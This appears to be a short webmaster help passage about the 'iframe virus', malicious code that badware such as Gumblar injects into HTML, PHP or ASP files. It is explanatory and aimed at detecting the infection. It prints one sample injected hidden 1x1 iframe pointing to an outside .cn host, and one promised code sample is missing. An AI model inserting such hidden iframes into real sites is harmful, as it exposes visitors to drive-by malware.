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javascript

I find suspicious javascript code in my files. Is it iframe virus?

Sometimes, iframe variants come in the form of javascript. You may NOT see iframe tags in the source because it will be encoded.
Instead, you may find this code in your html or PHP or ASP code:

Webmasters call it iframe virus? Why?

Badware like gumblar and other variants work by injecting malicious code into your website - be it HTML or PHP or ASP.
If you see the source of HTML, you will find some code like this:
 
 <iframe src="http: //coolnameshop .cn/ in.cgi?income23" width=1 height=1 style="visibility: hidden"></iframe>
 

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